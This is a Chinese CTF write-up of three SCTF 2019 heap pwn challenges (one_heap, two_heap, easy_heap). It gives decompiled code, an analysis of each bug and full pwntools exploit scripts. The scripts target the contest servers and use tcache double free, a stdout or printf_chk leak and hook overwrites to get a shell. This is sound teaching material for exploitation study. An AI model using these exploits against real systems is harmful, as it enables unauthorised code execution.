SCTF2019pwn题解

Peanuts / 2019-06-27 09:30:00 / 浏览数 4934 安全技术 CTF 顶(0) 踩(0)

题目都是堆的题，第一题玄学爆破1/4096，做完校队师傅和我说他1/200的几率都没出来，果然比赛看人脸黑不黑。下面是详细的题解。

one_heap

题目看起来并不难，逻辑很简单，并且给了libc是2.27的所以自然的联想到又tcache，接下来进行详细的分析。

静态分析

main

逻辑很简单这里我进行了一个函数名的改变看起来清楚一点

```
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
 int i; // eax

 flash();
 while ( 1 )
 {
   for ( i = menu(); i != 1; i = menu() )
   {
     if ( i != 2 )
       exit(0);
     delete();
   }
   add(a1, a2);
 }
}
```

menu

简单的choice逻辑没有什么问题

```
__int64 sub_C70()
{
 unsigned __int64 v0; // ST08_8
 __int64 result; // rax
 unsigned __int64 v2; // rt1

 v0 = __readfsqword(0x28u);
 puts("1. new");
 puts("2. delete");
 _printf_chk(1LL, "Your choice:");
 v2 = __readfsqword(0x28u);
 result = v2 ^ v0;
 if ( v2 == v0 )
   result = sub_C10();
 return result;
```

delete

这里是主要的问题点，存在一个uaf的漏洞但是同样对free的次数存在限制总共只能free 4次，然后free的时候是没有idx选择，每次ptr位置只有一个堆块的地址。

```
unsigned __int64 sub_D90()
{
 unsigned __int64 v1; // [rsp+8h] [rbp-10h]

 v1 = __readfsqword(0x28u);
 if ( !dword_202014 )
   exit(0);
 free(ptr);
 puts("Done!");
 --dword_202014;
 return __readfsqword(0x28u) ^ v1;
```

```
}
```

add

这里任意malloc的大小存在限制，并且malloc的数量也是固定的，然后malloc后可以读入堆。

```
unsigned __int64 add()
{
 unsigned int v0; // eax
 size_t v1; // rbx
 unsigned __int64 v3; // [rsp+8h] [rbp-10h]

 v3 = __readfsqword(0x28u);
 if ( !dword_202010 )
LABEL_5:
   exit(0);
 _printf_chk(1LL, "Input the size:");
 v0 = sub_C10(1LL, "Input the size:");
 v1 = (signed int)v0;
 if ( v0 > 0x7F )
 {
   puts("Invalid size!");
   goto LABEL_5;
 }
 _printf_chk(1LL, "Input the content:");
 ptr = malloc(v1);
 sub_B70(ptr, v1);
 puts("Done!");
 --dword_202010;
 return __readfsqword(0x28u) ^ v3;
}
```

思路分析

1. 因为存在tcache所以这里double
   free利用起来会比较顺手，但是存在一个问题如何去leak。这里参考了HITCON2018的baby_tcache的leak思路，是利用覆盖stdout的write_buf实现的。
2. 还有个问题如何能染tcache被malloc到那个位置，这里我采用的是利用堆和code段偏移来爆破几率大概是在1/4096，这个几率真的看脸了。。。
3. 再去改写malloc_hook，这里会发现3个one都没有办法用，所以只能用realloc的trick来调整栈去getshell。

   这里调试可以吧本地随机化关了，如果预期解是这样的话。。我就真的没话说了，如果这是非预期。。（对不住了出题人。。

exp:

```
from pwn import*
context.log_level = "debug"
p = process("./one_heap")
a = ELF("./libc-2.27.so")
#p = remote("47.104.89.129",10001)
gdb.attach(p)
def new(size,content):
   p.recvuntil("Your choice:")
   p.sendline("1")
   p.recvuntil("Input the size:")
   p.sendline(str(size))
   p.recvuntil("Input the content:")
   p.sendline(content)
def remove():
   p.recvuntil("Your choice:")
   p.sendline("2")
def new0(size,content):
   p.recvuntil("Your choice:")
   p.sendline("1")
   p.recvuntil("Input the size:")
   p.sendline(str(size))
   p.recvuntil("Input the content:")
   p.send(content)
new(0x60,"aaa")
remove()
remove()
new(0x60,"\x20\x60")
```

```
new(0x60,"b")
raw_input()
new(0x60,"\x60\x07")
pay = p64(0xfbad1880) + p64(0)*3 + "\x00"
new(0x60,pay)
libc_addr = u64(p.recvuntil("\x7f")[8:8+6].ljust(8,"\x00"))-0x3ed8b0
print hex(libc_addr)
malloc_hook = a.symbols["__malloc_hook"]+libc_addr
relloc_hook = a.symbols["__realloc_hook"]+libc_addr
print hex(malloc_hook)
one = 0x4f2c5+libc_addr

print one
new(0x50,"a")
remove()
remove()
new(0x50,p64(relloc_hook))
new(0x50,"peanuts")
new(0x50,p64(one)+p64(libc_addr+a.sym['realloc']+0xe))
print hex(one)
new(0x30,"b")
p.interactive()
```

two_heap

这个题刚开始感觉是和one_heap相同，可能也是爆破，但是发现了size存在限制需要绕过所以就不想one_heap了，这个size限制导致我们只能利用3个左右的堆块。

静态分析

main

这里我也标出了函数，这个函数主要的作用是在leak上，因为printf_chk可以做到用%a去leak，具体可以参考BCTF和HCTF的题。

```
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
 int v3; // eax
 __int64 v4; // [rsp+1Ch] [rbp-1Ch]
 int v5; // [rsp+24h] [rbp-14h]
 unsigned __int64 v6; // [rsp+28h] [rbp-10h]

 v6 = __readfsqword(0x28u);
 sub_12D0(a1, a2, a3);
 v4 = 0LL;
 v5 = 0;
 puts("Welcome to SCTF:");
 leak(&v4, 11);
 __printf_chk(1LL, &v4, 0xFFFFFFFFLL, 0xFFFFFFFFLL, 0xFFFFFFFFLL);
 while ( 1 )
 {
   while ( 1 )
   {
     v3 = menu();
     if ( v3 != 1 )
       break;
     add();
   }
   if ( v3 != 2 )
   {
     puts("exit.");
     exit(0);
   }
   del();
 }
}
```

add

主要是add了堆块，并且进行了一个位运算使得末尾成为了一个0x0或者是0x8的数,当然这里是可以绕过的，他没有检查堆块size的大小所以可以魔改操作一波

```
unsigned __int64 sub_14A0()
{
 FILE **v0; // rbp
 __int64 v1; // rbx
 __int64 **v2; // rax
 int v3; // er12
 __int64 *v4; // rbp
 __int64 **v5; // rbx
 unsigned __int64 v7; // [rsp+8h] [rbp-30h]

 v0 = (FILE **)&off_4020;
 v1 = 0LL;
 v7 = __readfsqword(0x28u);
 v2 = &off_4020;
 while ( v2[1] )
 {
   ++v1;
   v2 += 2;
   if ( v1 == 8 )
     goto LABEL_4;
 }
 puts("Input the size:");
 v3 = sub_13E0("Input the size:") & 0xFFFFFFF8;
 if ( v3 > 128 )
   goto LABEL_4;
 do
 {
   if ( *(_DWORD *)v0 == v3 )
   {
     puts("I don't like the same size!");
     exit(0);
   }
   v0 += 2;
 }
 while ( &stdout != v0 );
 v4 = (__int64 *)malloc(v3);
 if ( !v4 )
LABEL_4:
   exit(0);
 puts("Input the note:");
 v5 = &(&off_4020)[2 * v1];
 leak(v4, v3);
 *(_DWORD *)v5 = v3;
 v5[1] = v4;
 return __readfsqword(0x28u) ^ v7;
}
```

del

删除函数同样是没有对指针置0，漏洞很明显，就是利用起来比较困难了。这里检查了一下idx是否符合要求。

```
void sub_15A0()
{
 __int64 v0; // rax
 unsigned __int64 v1; // [rsp+8h] [rbp-10h]

 v1 = __readfsqword(0x28u);
 puts("Input the index:");
 v0 = (signed int)sub_13E0("Input the index:");
 if ( (unsigned __int64)(signed int)v0 > 7 )
   exit(0);
 if ( __readfsqword(0x28u) == v1 )
   free((&off_4020)[2 * v0 + 1]);
}
```

思路分析

1. 首先因为存在printf_chk可以用%a去leak，这里有个小技巧，当得到的是p字符的时候用0去替换掉。然后就可以计算出地址，有了leak的地址就容易的多了
2. 有了leak利用malloc size = 0x1,0x8,0x10,0x18来进行对size的绕过就可以利用了，说实话这个题比one简单。。

感觉这个题目出的可以，都是知识盲区现找现查，学到很多。

exp:

```
from pwn import*
context.log_level = "debug"
#p = process("./two_heap",env={"LD_PRELOAD":"./libc-2.26.so"})
a = ELF("./libc-2.26.so")
p = remote("47.104.89.129",10002)
#gdb.attach(p)#,"b *0x5555555554a0")
def new(size,content):
   p.recvuntil("Your choice:")
   p.sendline("1")
   p.recvuntil("Input the size:")
   p.sendline(str(size))
   p.recvuntil("Input the note:")
   p.sendline(content)
def remove(idx):
   p.recvuntil("Your choice:")
   p.sendline("2")
   p.recvuntil("Input the index:")
   p.sendline(str(idx))
def new0(size,content):
   p.recvuntil("Your choice:")
   p.sendline("1")
   p.recvuntil("Input the size:")
   p.sendline(str(size))
   p.recvuntil("Input the note:")
   p.send(content)
p.recvuntil("Welcome to SCTF:")
p.sendline("%a"*5)
p.recvuntil("0x0p+00x0p+00x0.0")
lib_addr = int(p.recvuntil("p-10220x",drop=True)+"0",16) - a.symbols["_IO_2_1_stdout_"]
free_hook = a.symbols["__free_hook"]+lib_addr
system = lib_addr+a.symbols["system"]
print hex(lib_addr)
new0(0x1," ")
remove(0)
remove(0)
raw_input()
new0(0x8,p64(free_hook))
new0(0x10,"\n")


new(24,p64(system))
new(0x60,"/bin/sh\x00")
remove(4)

p.interactive()
```

easy_heap

这个题主要是在offbynull上，题目如果预期解是house of orange的话这个题就复杂了很多但是其实用unlink解就容易多了。

静态分析

main

主要实现了功能

```
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
 unsigned int v3; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 v3 = 0;
 sub_CD0();
 while ( 1 )
```

```
 {
   while ( 1 )
   {
     menu();
     _isoc99_scanf(&unk_12A8, &v3);
     if ( v3 != 2 )
       break;
     del();
   }
   if ( v3 > 2 )
   {
     if ( v3 == 3 )
     {
       fill();
     }
     else
     {
       if ( v3 == 4 )
         exit(0);
LABEL_13:
       puts("Invalid choice!");
     }
   }
   else
   {
     if ( v3 != 1 )
       goto LABEL_13;
     add();
   }
 }
}
```

del

正常的一个删除函数

```
int del()
{
 void *v0; // rax
 unsigned int v2; // [rsp+Ch] [rbp-4h]

 printf("Index: ");
 v2 = sub_EE5();
 if ( v2 <= 0xF && qword_202060[2 * v2 + 1] )
 {
   free(qword_202060[2 * v2 + 1]);
   qword_202060[2 * v2 + 1] = 0LL;
   qword_202060[2 * v2] = 0LL;
   v0 = &unk_202040;
   --unk_202040;
 }
 else
 {
   LODWORD(v0) = puts("Invalid index.");
 }
 return (signed int)v0;
```

fill

这里存在一个off by null的漏洞是可以利用的

```
int fill()
{
 unsigned int v1; // [rsp+4h] [rbp-Ch]

 printf("Index: ");
 v1 = sub_EE5();
 if ( v1 > 0xF || !qword_202060[2 * v1 + 1] )
   return puts("Invalid index.");
 printf("Content: ");
```

```
 return input((__int64)qword_202060[2 * v1 + 1], (unsigned __int64)qword_202060[2 * v1]);
}
```

思路分析

1. 进行一个unlink控制全局变量，这题还有别的解法就是off by null来unlink或者largebin attack 去控制和写入mmap的内存
2. 写入mmap内存为shellcode然后利用fastbin attack 改写malloc_hook

这里的方法细节是在bss段构造一个fakechunk然后free进入unsortedbin
会有libc地址残留在指针处，然后改指针的低位，就可以malloc到需要的地方，然后改malloc_hook为one就可以了。

exp

```
from pwn import*
context.arch = "amd64"
context.log_level = "debug"
#p = process("./easy_heap")#,env={"LD_PRELOAD":"./libc.so.6"})
a = ELF("./easy_heap")
e = a.libc
print hex(e.symbols["puts"])
p = remote("132.232.100.67",10004)
#gdb.attach(p)#,"b *0x5555555554a0")
def add(size):
   p.recvuntil(">> ")
   p.sendline("1")
   p.recvuntil("Size: ")
   p.sendline(str(size))
def remove(idx):
   p.recvuntil(">> ")
   p.sendline("2")
   p.recvuntil("Index: ")
   p.sendline(str(idx))
def edit(idx,content):
   p.recvuntil(">> ")
   p.sendline("3")
   p.recvuntil("Index: ")
   p.sendline(str(idx))
   p.recvuntil("Content: ")
   p.sendline(content)
p.recvuntil("Mmap: ")
mmap_addr = int(p.recvuntil("\n",drop=True),16)
print hex(mmap_addr)
add(0xf8)
p.recvuntil("Address 0x")
addr = int(p.recvline().strip(),16) - 0x202068
add(0xf8)
add(0x20)
edit(0,p64(0)+p64(0xf1)+p64(addr+0x202068-0x18)+p64(addr+0x202068-0x10)+"a"*0xd0+p64(0xf0))
remove(1)
edit(0,p64(0)*2+p64(0xf8)+p64(addr+0x202078)+p64(0x140)+p64(mmap_addr))
edit(1,asm(shellcraft.sh()))
bss_addr = 0x202040
edit(0,p64(addr+0x202090)+p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5)
remove(1)
edit(0,p64(0)*3+p64(0x100)+'\x10')
edit(3,p64(mmap_addr))
add(0x20)
p.interactive()
```

总结

题目感觉还是挺有质量的，就是怪自己手速太慢，没拿到几个血，我tcl，wsl。

- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板